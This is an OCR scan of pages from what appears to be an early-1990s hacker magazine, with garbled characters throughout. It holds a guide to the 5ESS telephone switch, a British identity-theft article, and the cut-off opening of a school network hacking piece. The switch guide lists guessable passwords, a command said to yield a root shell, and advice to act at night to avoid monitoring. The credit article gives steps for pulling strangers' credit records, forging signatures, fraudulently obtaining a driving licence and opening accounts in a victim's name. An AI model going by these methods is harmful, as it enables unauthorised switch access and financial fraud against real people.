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A Guide to the 5ESS 
by Crisp G.R.A.S.P. 

Welcome to the world of the 5ESS. In this 
artic le I wi l l  be cover ing the switch topology, 
hardware, software, and how to program the 
switch. 

The 5ESS switch i s  the best ( I  t h i nk )  a l l  
around switch .  Far  better then  an NT. NT has 
spent  too m u c h  t ime  with S O N ET and t he i r  
S/DMS TransportNode OC48.  Not enough time 
with ISDN, l ike AT&T has done. Not only that, but 
DMS1 00s are slow, slow, slow! ThOugh I must 
hand it to NT,  the i r  DMS- 1  is far better then 
AT&T's SLC-96. 

What is the 5ESS 
The 5ESS is a switch.  The f i rst 5ESS i n  

service was cut over i n  Seneca, I l l inois (8 1 5) in 
early 1 982. This test ran into a few problems, but 
al l  in a l l  was a success .  The 5ESS is a digital 
switching system. This advamage was realized in 
the Number 4 ESS in 1979. The 5ESS network.is 
a TST (Time Space Time) configuration, the TSls 
(Time Slot I nterchangers) each have their own 
processor. This makes the 5ESS one of the faster 
switches, though I hear some ATM switches are 
getting up there. 

5ESS System Architecture 8. Hardware 
The 5ESS is a digital SPC switching system 

which util izes distributed contro l ,  a TST switching 
network ,  and modu lar  hardware and software 
design . 

The major components are: 
ADMINISTRATIVE MODULE 
Two 3820S Processor 

- Central control and main store 
- Disk storage for infrequently used programs 

and data, and main store regeneration . 
- Two 38 processors are always comparing 

data ,  and when one fails the other acts in its 
place. 
Two Input/Output Processor (lOP) 

- Provides TTY and data-l ink interfaces to the 
38 Processor, 5ESS Network, Master Control 
Center (MCC), and vari ous.Operational Support 
Systems (aSS). On page 5 is a l ist of the default 
TTYs (also called "channels") 
Two Automatic Message Accounting (AMA) 
arrangements 

- Uses data l i n ks to tia
'nsport ca l l ing 

information to central revenue accounting office 
and AMA tape. Here is the basic AMA structure 
for the aSPs model . 

- Called customer's telephone number, 
either a seven- or ten-digit number 

- Calling customer's telephone number, 

sESS SYSTEM ARCHITECTURE 
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- Date 
- Time of day 
- Duration of conversation. 

COMMUNICATIONS MODULE 
Message Switch (MSGS) 

- Prov ides fo r  cont ro l  message t ransfer  
between the  38 20 P rocessor  and I n terface 
Modules (1M's) .  

- Contains the clock for synchron izing the 
network. 
Time Multiplexed Switch (TMS) 

- Performs space division switching between 
SM's. 

- Provides permanent time slot paths between 
each SM and the MSGS for control messages 
between the Processor and SM's (or between 
SM's). 
Switching Module (SM) 

- Terminates l ine and trunks. 
- Performs time division switching. 
- Contains a microprocessor which performs 

call processing function for the SM. 
COMMON COMPONENTS OF THE SWITCH 
MODULE (SM) 
Switch Module Processor Unit (SMPU) 

- Contains m icroprocessors which perform 
many of the cal l  processing functions for  trunks 

Time Slot Interchange Unit (TSIU) 
- 51 2 time slot capacity. 
- Connects to the TMS over two 256-time slot 

Network Control and Timing (NCT) l i nks. 
- Switches time slots from Interface Units to 

one of the NCT l inks (for intermodule cal ls) .  
- Switches time slots from one Interface Unit 

to another with in the SM (for intramodule cal ls). 
Digital Service Unit (DSU) 

- local DSU p rovides h igh usage service 
ci rcuits , such as tone decoders and generators, 
for l ines and trunks terminated on the SM.  

- Global  DSU provides low usage service 
circuits, such as 3-port conference circuits and 
the Transmission Test Faci l ity, for all l ines and 
trunks in the office (requires 64 time slots) .  

The SM may be equipped with four types of 
Interface Units : 
Line Unit O-U) 

- For terminating analog l ines. 
- Conta ins  a so l i d-state two-stage analog 

concentrator that provides access to 64 output 
channels .  The concentrator can be fully equipped 
to provide 6: 1 or 4: 1 concentration. 
Trunk Unit (TU) 

- For terminating analog trunks. 
- Each TU requires 64 time slots. 
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5KSS - SWITCH MODULE 

SMPU 

1 (64) 
Analog Sub Lines <---->1 LU <--------> 

1------- (64) 
Analog Trunk Lines <-->1 TU <---_ .. _--> (256) 

1-------
1 
1 

TSIU 

(128) 
SLC-96 Remote <------->1 DCLU <--------> 

512 
Time 
Slots 

<--------> NCT 
Links 
to 

<--------> TMS 
1 
1-------

(256) 
" ,<no. <----------, 1 "" 

I 

<--------> 

Digital Line Trunk Unit (DL TU) 
- For terminating digital trunks and RSM's .  
- Each fully equipped DL TU requires 2S6 time 

slots. 
- A maximum of 10 DSls may be terminated 

on one DLTU. 
The  SM may be e qu i p ped w i th  any 

combination of  LU's, TU's, DCLU's, and DL TU's 
totaling S1 2 time slots. 

5ESS System Software 
The SESS is a UN I X  OS based switch. UN I X  

h a s  p layed a large part in  switch ing systems 
since 1 973 when UN I X  was used in the Switching 
Control Center System (SCCS).  The fi rst SCCS 
was a 1 6  bit m ic rocomputer .  Th is  led to the 
deve lopment  of the other switch ing  systems  
which AT&T produces today (such as  System 7S, 
8S, 1 AESS AP, and SESS) . Note: You may hear 
SCCS called the "mini" sometimes. 

The SESS's letclgetty is not set up for the 
normal login that one would expect to see on a 
UN I X  Syste m .  T h i s  is d u e  to t h e  d i ffe rent  
channels that the  SESS has. Some channels are 
the TEST Channel ,  Maintenance Channel ,  and 
RC Channel (which will be the point of focus) .  
Once you are on one channel you cannot change 
the channel . As someone has said, "It is not a 
TV!" You are physically on the channel you are 

DSU 

on.  
Test Channel 

The TEST channel is where one can test l ines 
and test the switch itself. This is where DAMT 
operates from.  This is access from the SMAS, 
which uses the No. test trunk on the switch. The 
No. test trunks on the switch (also called adding a 
th i rd t runk) ,  are where the operators do the i r  
BL Vs f ro m ,  and where LMOS accesses the  
switch from. Access to  this channel i s  through: 

Group Computer System 

Special Service Center 
SMAS via NO-Test 
SARTS (IPS) 
NO-TEST trunk (from the switch) 
TIRKS 
178 and 17E test boards (CCSA net using X-Bar) 
RTS 
BLV 
POVT 
DTAC 
etc ... 

Repair Service Bureau 
#16LTD 
#14LTD 
LMOS (IPS) 
MLT-2 

ADTS 
TIRKS 
TFTP 
TRCO 
DAMT 
ATieS 
etc ... 
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Maintenance (SCC) Channel 
The Maintenance Channel is where the SCC 

looks and watches the switch 24 hours a day, 
seven days a week! From this channel one can 
input RC messages if necessary. A lot of people 
have scanned these out, and thought they were 
AMATs. Well this is in  shOrt , wrong! Here is a 
sample buffering of what they are finding. 

switch output on the SCC channel . This is used 
by the  secs fo r  l ogg i ng  and mon i to r i ng  of 
a larms.  The whole point of th is  channel  is  to 
make sure the switch is doing what it should do, 
and to log all activity on the switch. Nothing more! 

To go into these messages and say what they 
are wo u l d  take fa r  too l o n g .  Order  t he  O M  
manuals for the 5ESS. Watch out, they are abou t 
five times the size of the 1M ( input manual) set. 
On average it takes someone th ree years of 
training to be able to understand al l  of this stuff. 
There is no way anyone can write an article in 
2600 and hope  a l l  who  read it u nde rsta nd 
everything about the  5ESS. Getthe manual ! 

RC Channel 
The RC (Recent Change) Channel is where 

new features can be added and taken away from 
phone l ines. This is the channel you may come in 
contact with if you come in contact with any at all . 
When one connects to a 5ESS RC channel one 
may be dumped to a craft shel l  if the login has not 
been activated. Access to the switch when the 
login is  active i s  cont rolled by log names and 
passwo rds to restr ict u nwanted ent ry to the 
system. In  addition ,  the SCC (Switching Control 
Center) sets permiss ion modes in the 5ESS 
switch which control the RC security function . 

The RC security function determines whether 
recent changes may be made and what types of 
changes are al lowed . If a situation arises where 
the RC security function denies the user access 
to recent change via RMAS or RC channels, the 

SCC must be contacted so that the permission 
modes can be modified. 

The  RC secu r i ty f unc t i on  enab les  t h e  
operating telephone company t o  decide which of 
its terminals are to be al lowed access to which 
set of  RC ab i l i t ies .  Note that a l l  verify i nput 
messages are a lways al lowed and cannot be 
restricted, which does not help too much. 

The RC security data is not part of the ODD 
(office dependent data). Instead, the RC security 
data is stored in relatively safe DMERT operating 
system files which are only modifiable using the 
following message: 
SET:RCACCESS,TTY="aaaaa" ,ACCESS: 
H'bbbbb; 
where: aaaaa = Symbol ic  name of terminal i n  
d o u b l e  q u ot e s ,  H '  = H e xadec i m a l  n u m b e r  
indicator i n  MML ,  bbbbb = 5-character  hexa­
decimal field in 5E4 constructed from binary bits 
corresponding to RC abil ity. The field range in  
h e xadeci ma l  i s  f rom 00000 to F F F F F .  Th is  
message must be  entered for each type terminal 
( i .e .  'aaaaa"='rmas1 ', "rmas2", etc. ) .  

Note: Order IM - 5 0 000-01 ( 5E S S  i n p u t  
manual) or OM-50000-01 ( 5ESS output manual) 
for more information on this and other messages 
from the CIC at 1 -800-432-6600. 

When the message is typed i n ,  a DMERT 
operating system f i le  is created for  a particular 
terminal . The content of these fi les, one for each 
terminal ,  is a binary field with each bit position 
represen t i ng  a u n i q u e  set of  RC a b i l i t i e s .  
Conversion o f  this hexadecimal field t o  binary is 
accompl ished by converting each hexadecimal 
character to its equivalent 4-bit binary string. 
HEX BINARY HEX BINARY 

o 0000 8 1000 
1 0001 9 1001 
2 0010 A 1010 
3 0011 B 1011 
4 0100 C 1100 
5 0101 0 1101 
6 0110 E 1110 
7 0111 F 1111 

Each bit posit ion corresponds to a recent 
change functional area. A hexadecimal value of 
FFFFF indicates that all bit positions are set to 1 
indicating that a particular terminal has total RC 
access. Also, verify operations as well as lettered 
classes are not included in the terminal's security 
scheme since all terminals have access to verify 
views and lettered classes. 

In addition, maintenance personnel are able 
to verify the secu rity code for any terminal  by 
typing the following message from either the MCC 
(Master Control Center) or SCCS (Switch ing  
Control Center System) m in i  terminal :  
OP:RCACCESS,TTY="xxxxx"; 

where: xxxxx = symbolic name of terminal in 
double quotes. 
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Each b it pos ition corresponds to a recent  
change functional area. 

To ensure redund ancy. DM ERT operating 
system files are backed up immediately on d isk 
by the SCC. 

The input message that defines the password 
and CLERKID (another name for username) is in 
the Global  RC fe ature .  T h is input message 
defines a CLERKID and associated password or  
deletes an existing one.  (Note that CLERKID and 
PASSWORD are required fields on the Global RC 
Schedule view 2B.l in RCV:MENU:APPRC. but 
more on this later.) 

This new input message is as follows: 
GRC:PASSWORD,CLERKID=xxxxxxxxxx, 
[PASSWD=xxxxxxxxIDELETEj 

No te :  CL ERKID c an be fro m one  to 10 
alphanumeric characters and PASSWORD can 
be from one to eight alphanumeric characters. 

Th is input message can only be executed 
from the MCC or SCC term inals , and only one 
password is allowed per CLERKID. To change a 
CLERKID's password, this message is used with 
the same CLERKID but with a different password. 

5ESS SWITCH WCDSO 
RECENT CHANGE 2B.l 

GLOBAL RECENT CHANGE SCHEDULING 

'I. GRC NAME 
'2. SECTION 
#3. CLERK 10 ____ _ 
#4. PASSWORD 
5. MODE 
6. RDATE 
7. RTIME 
B. SPLIT _ 
9. SPLIT SIZE 

10. MAX ERRORS 

11. VERBOSE _ 
Global RC Schedule View 28.1 from the 

RCN Recent Change Menu System 

When the secunty is set  up on the RCIV 
channel, one wi l l  see: 
5ESS login 
15 WCDSO 5E6(1) ttsn-cdN TTYW 
Account name: 

There are no defaults. since the CLERKID 
and the password are set by craft, but common 
passwords would be the name of the town .  CLLI, 
M ANAGER. SYSTEM. 5ESS. SCCS1. SCC. 
RCMAC. RCMAxx, etc. 

I! you see just a "<" prompt you are at the 
"craft" shel l  of the RCIV channel .  The 5E login 
has not been set. The craft shell is running on 'he 
DMERT (which is a UNIX environment operating 
system. , System V hack). The craft shell prompt 
is a "<". From this shell one poking around wil l  go 
nuts seeing the "?E" error message. Here is a list 
of error messages and what they mean : 
?A: Action field contains an error. 
?D: Data field contains an error. 
?E: Errors exist  in the message but cannot be 

resolved to the proper field (this is the "you have 
no idea" message). 
?I: Identification field contains an error. 
?T: Time-out has occurred on channel. 
?W: Warning exists in input l ine. 

Here are other output message meanings 
from the RCN craft menu: 
O K: Good.

' 

PF: Printout follows. 
RL: Retry later. 
NG: No good.  
IP: I n  progress. 
NA: The message was not rece ived by the  
backup control process. 

When inputting RC messages it is best to do 
it in the mid�le of the day since RC messages are 
sent to each channel! The SCC is wllltching and if 
there are RC messages running across at three in 
the morning. the SCC is going to wonder what the 
h e l l  RCMAC ( Recent  C h ange M e m o ry 
Admin istration Center) is doing at three in the 
morning! 

DMERT 
The DM ERT (Duplex M ult ip le Environment 

Real Time). uses the Western Electric (another 
name f .or AT&T!) 3B20S Simplex processor. The 
DM ERT software totals nearly n ine  thousand 
source f i les, one mil lion l ines of nonblank source 
code ,  deve loped by a p p r o ximate ly  200 
programmers. There are eight main releases of 
th is softwa[e.  They are referred to as generics 
(l i ke  5E4. 1 .  5E4. 2, to 5EB. l  - also seen as 
5E4( 1 ). 5E4(2). to 5EB( 1 ) .  This can be thought of 
as the equivalent of a DOS version . )  DMERT is 
UNI X in a sense but can be best described as a 
custom UNI X  system based on the 3B20S. The 
DMERT OS can be ported to PDP-1 1 /70s or a 
large I BM mainframe.  The D M ERT operat ing 
system is  spl i t  both logical ly and phys ica l ly .  
Physically. the software is evenly divided across 
the five Software Development systems. (There 
are seven Software Development systems al l  
running a 3B20S where the DM ERT code was 
written.) Logically. the software is divided into 24 
subsystems. To access this from the "craft" shell 
of the RCN-channel. type: 
RCV:MENU:SH! 

This wil l  dump you to a root shell . 
- Programing the 5ESS 

Wh en progra m m i n g  the  5ESS there are 
things one should know. The first is that one has 
a lot of power (just keep 911 in mind - it would be 
foo l i sh  to even th ink of d i s rupt i n 'g anyone 's  
service. 91 1 is there for  a reason, i t  should stay 
that way. )  And anything one does is logged and 
can be watched from the SCC. Note that the night 
SCC crew is a lot more lax on how things are 
done then ti'le day shift. so it would be best to do 
th is at night. I could tel l  you how to crash the 
switch in two seconds, but that is not the point 
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here. Destroying something is easy - anyone can 
do that. There is no point to it. A l l  that taking 
down a switch will do is get one into jail .  ( I  think 
SRI is wishing they had talked to me now.) 

RC from Craft Shell on RCN Channel 
RC and VFY is complex from the craft shel l  

on the R CN channel . This is caJled the input text 
optio", It is accessed by using the 
RCV:APPTEXT: 

This gets a l itt l e  complex to fol low. but the 
best thing to do is to order the Manual 235-1 18-
21 5 Recent Change Procedures Text Interface 
(5E4J. I t is $346.87. Another good one to get is 
235-1 1 8-242. for $41 3  even.  And last. but the 
best. is 235-11 8-243. This beast is only $ 1 344.63. 
What a deal .  
RCV:APPTEXT:DATA[,SUMMARYI, 
NSUMMARY)[,VFYIMMEDI,VFYEND] 
[,VFYNMVALI, VFYSCIMG] 
[,DEVICE={STDOUTIROPIROPOI FILEITIYx}j, 
FORM= ... ,DATA,FORM= ... ,END; 
DATA: This is for more then one RC operation in 
the same command. 
FORM: The format that is to be used. 
SUMMARY: Turns on one l ine summaries on the 
read only printer (RaP) (DEFAULT) . 
NSUMMARY: Turns off one l ine summary logging 
by the Rap. 
VFYIMME.D: P rin ts  ou t  v e ri f ys ( VFYs)  
immediately. does not wait fo r  session end. 
VFYEND: Prints out all VFYs at session end. this 
is the DEFAULT. 
VFYNMVAL: Print verify output i n  name-value 
pai r format. This must be directed into a f i le (see 
DEVICE) .  
VFYSCIMG: Makes output into screen size image 
(DEFAULT) . 
DEVICE: Redirect verify output to a device other 
than one's screen. 
ROP/ROPO: Send verify output to the R ap. 
STDOUT: Send ve rify output to one's screen 
(DEFAULT). 
TIYx: Send verify output to any valid tty (such as 
ttya and ttyv) that exists in "'dev." You must use 
the tty name. not tty number. 
FILE: Send verify output to a file in "'rclog". The 
file wil l  be prefixed with "RCTX". and the user will 
be given the name of the file at the beginning and 
end of the APPTEXT session. 
END: END of message. 

If the p a rameter  is  not en te red o n  t h e  
command  l i n e .  i t  m a y  be en te red aft e r  t h e  
APPTEXT process begins. but must b e  entered 
prior to the first "FORM=" statement. Here is an 
example of a MML RCV:APPTEXT. 
rcv:apptext:data,form=2v1 &vfy ,set= 
"oe.entype"&lset="oe.len"&xxxxxxxx,pty=l,vfy! 

The 2V1 may look strange at first. It may help 
getting used to the basics firs t .  To just VFY 
telephone numbers. just do a: 

RCV:APPTEXT:DATA,FORM= 
1V6-VFY,TN=5551212,VFY,END! 

Another way to send RC to the switch from 
the RCN craft shell prompt is to use the text l ine 
RC input. Here is an example of this: 
< RCV:APPTEXTII OK 
: DEVICE="FILE"!I OK 
: FORM="12V2"&"NEW"1I NOTICE - Verify output 
I will go to file " 
I "/rclog/RCTX434_046407" 
10K 
: CLUSTER="LEARN"!I OK 
: LNEW="FEATLIST.FEATURE"&"/CWT"!I OK 
: LNEW="FEATLIST.FEATURE"&"/CWD"!I OK 
: LNEW="FEATLIST.FEATURE"&"/CFV"!I OK 
: NEW!IOK 
: FORM="12V2"&"VFY"!1 OK 
: CLUSTER="LEARN"!I OK 
: VFY!I OK 
: FORM="12V2"&"CHG"!1 OK 

Note: The "<" symbol is the craft shell prompt. 
The ":" symbol is the RCN Text Interface prompt. 
OK is the 5ESS switch output message. 

That is an examp le  of add ing  a ",eWT". 
"'CWD". and "'CFV" to the switch database. 

These input messages may look complex at 
first. but are real ly simple. and much better then 
dealing with the menu system. but you wil l need 
to learn RC yourself! No one can explain it to you .  

Pulling AMA from the 
RCN Channel Craft Shell 

Pull ing AMA up is all done in one command. 
The command is: 
OP:AMA:SESSION[,ST1I,ST2]; 

This command wil l  request a report of the 
c u rre nt or most recent  au tomat i c message 
account ing (AM A) tape.  ST1 and ST2 are the 
data streams. 

Pulling Up Out of Service Lines, 
Trunks, or Trunk Groups 

One may want to pull up all the out of service 
l ines. trunks. or trunk groups for many reasons. I 
will not go into these reasons. The command to 
do this from the craft shell is a PDS command. 
This command ends with a "ball bat" ("!") . 
OP:L1ST,LINES[,FULL)[,PRINT][;[a)[,b][,c][,d][,ell! 
OP:LIST,TRUNKS[,FULL][,PRINT][;[a]�b]�c][,d][,ell! 
OP:LIST,TG [,FULL)[,PRINT)[;[a)[,b][,c][,d)[,ell! 

FULL: All (primary and pending) are printed . 
Note FULL is not the default when inputting this 
command. 

PRINT: Print to the Rap in the CO. 
a-e: This is port status to match against the 

subset of trunks. l ines. or  trunk groups that are 
specified. DEFAULT. moreover needs input. 

The 5ESS RCN Menu Shell 
To access this shell from the RCN channel 

craft shell . type : 
RCV:MENU:APPRC 
at the "<" prompt. 
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access menu 
the MCC, STLWS, and TLWS channel/terminals, 
one uses what are called pokes. The poke that is 
used here to access the RCN Menu system on 
the 5ESS is 196. 
196 
at the "CM D<" p ro m pt p u t s  y o u  on t h e  RCN 
menu system of the 5ESS switch. This will cause 
" R CIV 196 S T A R T I N G "  and " R CIV 196 
COMPLETED" to be printed out at the ROP. 

Adding features onto the 5ESS is easy. At the 
craft shell of the RCN channel type: 
RCV:MENU:APPRC 

This wil l  toss you into a menu system. An 
example of a m ain menu appears above. 

The h elp m e n u s  for the 5 E S S  s w itch are 
lame, but I thought that i t  would be good to show 
their contents to you just for the hel l  of it because 
it  does explain a liltle about the switch.  

Commands For Menu Pages 
H - Explains commands for MENU or views. If you enter 

H again, then it will display next HELP page. 
HII - Select HELP page. (II - help page number). 
Q - Quit Recent Change and Verify. 
R - Change mode to RECENT CHANGE. 
V - Change mode to VERIFY. 
< - Go to CLASS MENU page. 
II - If on CLASS MENU page Go to a VIEW MENU page II. 
II - If on VIEW MENU page Go to a RECENT CHANGE 

or VERIFY VIEW II. 
II _II - Go to a RECENT CHANGE or VERIFY VIEW. 

(CLASSII.VIEWII). 
IIR - Go to Recent Change view for read. 
#1 - Go to Recent Change view for insert. 
#0 - Go to Recent Change view for delete (only print Key 

fields). 
II DV - Go to Recent Change view for delete with verify 

(print all fields). 
IIU - Go to Recent Change view for update. 
IIUI  - Go to Recent Change view for update in insert niode 

(user can change each field sequentially without 
typing field number). 

IIV - Go to Verify view. 
liN - Go to next menu page. Back to the 1 st page if 

there's no next page. 
Commands For Batch 

BMI - Delayed Activation Mode. Choose time or demand 
release (for time release add service information). 
Select view number for Recent'Change. 

B M D  - Display Status of Delayed Activation Recent 
Changes. 

B M R  - Release a file of Recent Changes stored. for 
Delayed Activation. 

1M - Immediate Release Mode. 

< - In first field: Leave this view and return to select view 
number. 

< - Not in first field: Return to first field. 
• - In first field: Select new operation for this view. 
• - Not in first field: Return to previous field. 
> or ; - Go to end of view or stop at next required field. 
• - Execute the operation or gO to next required field. 
? - Toggle help messages on and off. 
Q - Abort this view and start over. 
V - Validate input for errors or warnings. 
R - Review view from Data Base. 
I - Insert this view into Data Base. 
U - Update this view into Data Base. 
0- Delete this view from Data Base (only print Key fields). 
C - CHANGE: Change a field - All fields may be changed 

except key fields when in the upc(ate mode only. 
C - CHANGE-INSERT: Allowed in the review mode only -

Allows you to review a view and then insert a new 
view with similar field. You must change the key fields 
to use this facility. You may change other fields as 
required by the new view. 

P - Print hard copy of screen image (must have RCIV 
printer attached). 

The following are used only on 
views containing USTS. 

- - Blank entire row. 
- - Sets this field to its default value. 
: - Sets this row to its default value. 
[ - Go backward to previous row. 
) - Go forward to next row. 
; - Go to end of view or stop at next required field. 
1/ - Go to end of list and stop at next non-list field. 
{ - Delete current row and move next row to current row. 
I - Move current row to next row and allow insert of row. 
= - Copy previous row to current row. 
• - Execute the operation or stop at next required field. 

" RCN is in automatic forms presentation and 
"Q" or "q" Is entared for the operation, 
the following commands are available_ 

A - Abort form fields. RCN stays in the current form. 
B � Bypass form.. Go to next form using automatic forms 

presentation. 
C - Cancel automatic formS presentation. The previous 

menu will be displayed. 
. 

H - Display automatic forms presentation help messages. 
< - Bypass form. Go to n9¥t form using automatic forms 

presentation. 
When accessing the databases, here is a list 

of database access selectiOns: 
I (insert) ·lrlse(1. new data. 

. 

R (re.view) " Review existing data. 
U (update) � Updat� or change �xlsting data. 
o (delete) · Delete (remove) unwanted data from 

the database.
' . 
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V (verify) - Verify the data in the data base, 
These are to be entered when one sees the 

prompt: 
Enter Database Operation 
1 .. lnsert R:Revlew U:Update D:Delete : _ 

When using the RCIV menu system of the 
5ESS, you may just keep going into sub-menus 
and fal l  off the end of the earth ,  Here are the 
navigational commands that are used to move 
around the menu system. As seen from the RCN 
menu system help, you see "SCREEN X out of 
X". This means thai there are so many screens to 
go and to move between the screens you use the 
"<" to move back (toward the main menu) and the 
">" to move to the last menu.  I know it is shown in 
the help menu, but it is not explained l ike it needs 
to be, 

Batch Input 
The Batch Input feature for the 5ESS switch 

al lows recent changes (RC) to be entered at any 
date and t ime when the RC update would be 
performed. This al lows RC input to be entered 
quickly, and for a large number of inputs. The 
l a rge n u mbers of RC inpu t  can be re leased 
quickly in a batch mode. The RC input can then 
be entered at any time ,  stored u nt i l  they a re 
needed, and then released for use by the system 
when needed. 

First and second level error correction is done 
during batch input. There are several d ifferent 
modes of batch input. These are: 
BMI - batch mode input - TIMEREL and DEMAND 
BMD - batch mode display 
BMR - batch mode release 
BMI - batch mode input - TIMEREL and DEMAND 

Entering BM I one types "BM I" at the RCIV 
m e n u  p ro m p t .  Once e n t e ri n g ,  you w i l l  be  
prompted w i th  whether the input  is DEMAND 
(demand) or T IMEREL (Time Release). DEMAND 
input a l lows one to manua l ly  have the batch 
update the database .  T IMEREL is  automatic. 
TIMEREL has one enter a time and date , 

When using DEMAND, you wil l be prompted 
for the file name. The file will be in "/rclog" in the 
DMERT OS. 

In T IMEREL, you wi l l  be prompted with the 
CLERKID,  which in this case is the file name for 
the f i l e  in  the "/rc log" .  Then  for VERBO S E  
options, the R C  SRVOR (Recent Change Service 
Order) is displayed on the screen, 

RC SRVOR View In the BMI TlMEREL Batch Option 
5ESS SWITCH 

RECENT CHANGE B,l 
SERVICE ORDER NUMBER VIEW 

·',ORDNO ___ � 
·2.ITNO 
·3. MSGNO 

#4. RDATE 
#5. RTIME 

Enter Inserl, Change, Validate, or Print: 

ORONO = Service Order Number 
ITNO = Item Number 
MSGNO = Message Number 
RDATE = Release Date (Update database Date) 
RTIME= Release Time (Update database Time) 

BMD - batch mode display. BMD is a "mask" of 
RCN done from the RCN channel craft shell , by 
using the  REPT:RCH I ST or a pseudo-menu 
system .  A l l  t ransact ions are displayed on  the  
ROP, though the  data could also be  sent to  a file 
in the "/rclog" in DMERT, 

The pseudo-menu system looks like: 
1. Summary of clerk activity 
2. Activity by service order number 
3. Activity by clerk ID 
4. Return to view or class menu. 
Display 1 of 2 

1 a l l ows one  to v iew t h e  " D E LAYE D  
RELEASE SUMMARY REPORT." 

2 produces a "DELAYED RELEASE REPORT 
BY SERVICE ORDER." 

3 p roduces t h e  " D E LA YE D  R E L EA S E  
REPORT BY CLERK 10." 

4 Retu rn to v iew o r  c l ass  m e n u ,  s e lf­
explanatory, 
REPT:RCHIST - BMD 

The REPT:RCHIST BMD (Text) command is 
done from th .e RCIV channel  craft she l l ,  The 
command synopsis is: 

5E2 - 5E5 (Generics) 

REPT:RCHIST,CLERK=[,FORMAT={SUMMARYIDETAI 
L)]{[,ALL)I[,PENDING)[,COMPLETE) 
[,ERRO.R)[,DEMAND)}[,DEST =FILENAME)[,TIME=XXXX 
XXXXXX): 

5E6 - 5E8 (Generics) 

REPT:RCHIST,cLERK=a[,FORMAT={SUMMARYIDETA 
IL}) (,ALLI,b}[,DEST={cIFILE}) 
[,TIME=XXXXXXXXXX): 

SUMMARY - Report selection, format by key. 
DETAIL - Report selection for Recent Change entire. 
ALL - Report all recent changes. 
PENDING· Report pending recent change input. 
COMPLETE - Report released recent changes that was 

successful when completed. 
FILE· Name for file in Irclog. 
ERROR - Report recent changes released with error. 
DEMAND - Report demand recent changes. 
TIME=XXXXXXXXXX - XX - month, XX - day, XX - hour, 

XX minute, XX - second. 

BMR - batch mode release. This is the manual 
release (updating) of the 5ESS database, This is 
done f rom the RCIV channel  c raft she l l .  The 
command that is used is the EXC:RCRLS input 
message. There is no real need to go into this 
message. 

Adding features RCF 
(Remote Call Forward) on a 5ESS 

1, At the "MENU COMMANDS" prompt of the 5ESS 

(continued on page 32) 
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British Credit Holes 
[n 1 984, the British government passed the 'Data 

Protection Act' in order to allow any individual to obtain 
copies of computer records which any company or 
organisation may have on that individual. The intention was to 
be able to see exactly what was being held on them and 
subsequently be able to correct any emmeous information. 

We hear these stories of people who have been turned 
down for a loan when they believe that they have impeccable 
credit credentials. However, if the records mistakenly say 
otherwise, you are completely in the dark. 

[n the United States just about everyone knows about the 
importance of credit histoty, and checking up on individuals is 
purely a matter of course. Here in England, however, most 
individuals are completely unaware of any of this. In fact, 
many companies here are unaware of this!  While 
organisations perfonning the same functions as, say lRW, do 
exist here, almost no one would know anything about them. 

[ began looking into just what everyone had on me 
through these credit recording companies and quickly found a 
flaw in the system. TIlis flaw allows me to get a great deal of 
information on just about anyone. Further more, it's all 
perfectly legal! Let's explain how it worl<s. 

There are six main credit recording agencies here 
in England. For the sum of one pound and a letter with 
your full name, date of birth, addresses for the last six 
years, and your signature, you can receive printed 
records of everything they have on you. These records 
show any loans you have taken out, credit cards you 
have received (with their numbers and credit limits), 
credit checks which have been run on you, and any 
county court judgements you may have against you. 
Some wil l  even show how you pay off  your credit 
cards, by showing: if you paid off the full amount each 
month; if you paid it off on time; and even if you used 
it at all. 

Now then, the flaw in the system is that information on 
you is not stored by anything as obvious as your name or 
social security number, but by your address. Furthermore, 
when you get a report on yourself, it not only gives all of your 
information but also that of anyone else who happens to have 
lived at that address. This means that not only do [ get credit 
information on me, but on everyone else at those same 
addresses! In other words, [ get to see all of their credit card 
numbers, dates of issue, and credit limits! 

OK, so how is this useful? Well, your feverish minds are 
probably already thinking of devious uses for this information. 
Right, suppose [ want to get information on you All [ need is 
your address . 

Fme, so [ do a credit sean:h on myself, but [ say that [ 
have only lived at my current address for the last month or so, 
and prior to that [ lived at all the same addresses which you 
have lived at for the last six years (of course, [ don't mention 
you). When [ get the replies, [ have all your credit information. 
[ now have details of any loans (with loan numbers), credit 
card numbers (with credit limits), dates and amounts etc. 

I've not done anything illegal, up to this point The next 

step is to write to each of the credit card companies and loan 
companies, etc, and ask them to send all information they have 
on the person whose credit information you now have. 
They're probably going to check a signature, so you'll need to 
forge the signature of the person you're spying on. The credit 
company will give you all the information they have on the 
person. This information may include things like just what it 
was they bought and the credit references they used to 
establish that you were kosher in the first place. 

You will see that you can quite quickly begin to expand 
outwards building up a bigger and bigger picture of the 
individual wbo you are investigating. You can also get ahold 
of things like copies of electricity, gas, and telephone bills by 
saying that you suspect mail has been going missing and can 
they send duplicate bills to a different address. 

To get a driving licence is just as easy. All you do is get 
the application form and fill it out saying that you have lost the 
previous licence and you want a replacement You need the 
full name, date and place of birth, a signature, and six pounds. 
Also, enclose a letter saying that you want it mailed to a 
different address than the one you live at (because you suspect 
mail is going missing). Doing this, the original licence is still 
valid (since it has the same number) and same address, so the 
real owner will never be aware of this. (Incidentally, a UK 
driving licence does not have a photo on it and a social 
security number is almost never asked for.) 

With the driving licence you can then open a P.O. Box 
which has no connection with you. It has another person's 
name and address associated with it Incidentally, a P.O. Box 
in England offers no privacy whatsoever, since you can 
demand to be given the name and address of the owner and 
the post office have to give it to you. [ have been told of the 
post office checking up on people applying for P.O. boxes by 
actually calling around to see them. 

As you begin to build up more and more information on 
the individual, sooner or later you will start getting information 
like bank details i.e. account numbers and sort codes as well as 
any mortgsge information etc. You're in a position to really 
start doing some nasty damage. With a driver's licence you 
can open a bank account and have all the bank information 
sent to the P.O. Box. You're now in a position to begin using 
someone else's credit without them even knowing! 

Tbere is actually a reason why credit information is sorted 

by address. Apparently, statistically, bad payers tend to 
associate with other bad payers. This means that if you live in 
an area which is notorious for debts then it will be asswned 
that you ton are bad at paying off your debts. [t also counts 
against you if you live in a bad neighbourhood or estate. If a 
previous owner. or occupier. was a credit risk then even 
though you may never have even met them their bad credit 
rating can be attached to you - and there's nothing that can be 
done to change it! 

The way that things are set up means that it would be 
extremely difficult for them to change the system. Luckily, 
very few people know about this so it's not an immediate 
problem. 
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high school hacl<ing 
by The 999 

I recently messed around with our school's new 
n e twpr k .  It i s  run o n  new IBM PS/2's . Eac h 
work�tation is a 286 and the servers are 486's. There 
are three networks, each networked with each other. It 
is a l l  run on a fib e r  o p t i c  T o k e n  Ri ng n e t w o r k .  
H ac k i ng t h i s  system is  so e a s y  i t's a l most 
unbelievable. There are three ways to do it.  All three 
ways are equa l l y  easy; it  just depends on what you 
want to do. 

After loading up, the system displays a digitized 
picture of a rose in the background and asks for your' 
